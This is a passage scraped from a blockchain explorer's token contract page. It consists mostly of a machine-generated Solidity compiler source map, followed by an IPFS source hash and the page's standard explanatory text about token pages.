30;13573:34;13553:18;;;13546:62;-1:-1:-1;;;13624:18:1;;;13617:31;13665:19;;1828:56:0;13293:397:1;1828:56:0;1902:1;1665:246;-1:-1:-1;;;1665:246:0:o;1919:132::-;1977:7;2004:39;2008:1;2011;2004:39;;;;;;;;;;;;;;;;;:3;:39::i;6999:98::-;7056:7;7083:1;7081;:3;7080:9;;7088:1;7080:9;;;-1:-1:-1;7086:1:0;6999:98;-1:-1:-1;6999:98:0:o;1136:179::-;1194:7;;1226:5;1230:1;1226;:5;:::i;:::-;1214:17;;1255:1;1250;:6;;1242:46;;;;-1:-1:-1;;;1242:46:0;;13897:2:1;1242:46:0;;;13879:21:1;13936:2;13916:18;;;13909:30;13975:29;13955:18;;;13948:57;14022:18;;1242:46:0;13695:351:1;1323:136:0;1381:7;1408:43;1412:1;1415;1408:43;;;;;;;;;;;;;;;;;:3;:43::i;2059:189::-;2145:7;2180:12;2173:5;2165:28;;;;-1:-1:-1;;;2165:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2204:9:0;2216:5;2220:1;2216;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:422;3355:1;3398:5;3355:1;3412:270;3433:7;3423:8;3420:21;3412:270;;;3492:4;3488:1;3484:6;3480:17;3474:4;3471:27;3468:53;;;3501:18;;:::i;:::-;3551:7;3541:8;3537:22;3534:55;;;3571:16;;;;3534:55;3650:22;;;;3610:15;;;;3412:270;;;3416:3;3266:422;;;;;:::o;3693:806::-;3742:5;3772:8;3762:80;;-1:-1:-1;3813:1:1;3827:5;;3762:80;3861:4;3851:76;;-1:-1:-1;3898:1:1;3912:5;;3851:76;3943:4;3961:1;3956:59;;;;4029:1;4024:130;;;;3936:218;;3956:59;3986:1;3977:10;;4000:5;;;4024:130;4061:3;4051:8;4048:17;4045:43;;;4068:18;;:::i;:::-;-1:-1:-1;;4124:1:1;4110:16;;4139:5;;3936:218;;4238:2;4228:8;4225:16;4219:3;4213:4;4210:13;4206:36;4200:2;4190:8;4187:16;4182:2;4176:4;4173:12;4169:35;4166:77;4163:159;;;-1:-1:-1;4275:19:1;;;4307:5;;4163:159;4354:34;4379:8;4373:4;4354:34;:::i;:::-;4424:6;4420:1;4416:6;4412:19;4403:7;4400:32;4397:58;;;4435:18;;:::i;:::-;4473:20;;3693:806;-1:-1:-1;;;3693:806:1:o;4504:140::-;4562:5;4591:47;4632:4;4622:8;4618:19;4612:4;4591:47;:::i;4649:168::-;4722:9;;;4753;;4770:15;;;4764:22;;4750:37;4740:71;;4791:18;;:::i;4822:356::-;5024:2;5006:21;;;5043:18;;;5036:30;5102:34;5097:2;5082:18;;5075:62;5169:2;5154:18;;4822:356::o;5535:251::-;5605:6;5658:2;5646:9;5637:7;5633:23;5629:32;5626:52;;;5674:1;5671;5664:12;5626:52;5706:9;5700:16;5725:31;5750:5;5725:31;:::i;6712:306::-;6800:6;6808;6816;6869:2;6857:9;6848:7;6844:23;6840:32;6837:52;;;6885:1;6882;6875:12;6837:52;6914:9;6908:16;6898:26;;6964:2;6953:9;6949:18;6943:25;6933:35;;7008:2;6997:9;6993:18;6987:25;6977:35;;6712:306;;;;;:::o;7302:277::-;7369:6;7422:2;7410:9;7401:7;7397:23;7393:32;7390:52;;;7438:1;7435;7428:12;7390:52;7470:9;7464:16;7523:5;7516:13;7509:21;7502:5;7499:32;7489:60;;7545:1;7542;7535:12;11064:125;11129:9;;;11150:10;;;11147:36;;;11163:18;;:::i;11549:135::-;11588:3;11609:17;;;11606:43;;11629:18;;:::i;:::-;-1:-1:-1;11676:1:1;11665:13;;11549:135::o;11689:128::-;11756:9;;;11777:11;;;11774:37;;;11791:18;;:::i;11954:127::-;12015:10;12010:3;12006:20;12003:1;11996:31;12046:4;12043:1;12036:15;12070:4;12067:1;12060:15;12086:980;12348:4;12396:3;12385:9;12381:19;12427:6;12416:9;12409:25;12453:2;12491:6;12486:2;12475:9;12471:18;12464:34;12534:3;12529:2;12518:9;12514:18;12507:31;12558:6;12593;12587:13;12624:6;12616;12609:22;12662:3;12651:9;12647:19;12640:26;;12701:2;12693:6;12689:15;12675:29;;12722:1;12732:195;12746:6;12743:1;12740:13;12732:195;;;12811:13;;-1:-1:-1;;;;;12807:39:1;12795:52;;12902:15;;;;12867:12;;;;12843:1;12761:9;12732:195;;;-1:-1:-1;;;;;;;12983:32:1;;;;12978:2;12963:18;;12956:60;-1:-1:-1;;;13047:3:1;13032:19;13025:35;12944:3;12086:980;-1:-1:-1;;;12086:980:1:o;13071:217::-;13111:1;13137;13127:132;;13181:10;13176:3;13172:20;13169:1;13162:31;13216:4;13213:1;13206:15;13244:4;13241:1;13234:15;13127:132;-1:-1:-1;13273:9:1;;13071:217::o

Swarm Source

ipfs://9a5baaabb6a8645928881f655f5843fad8e790f93ae8c66608af76442543b344
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.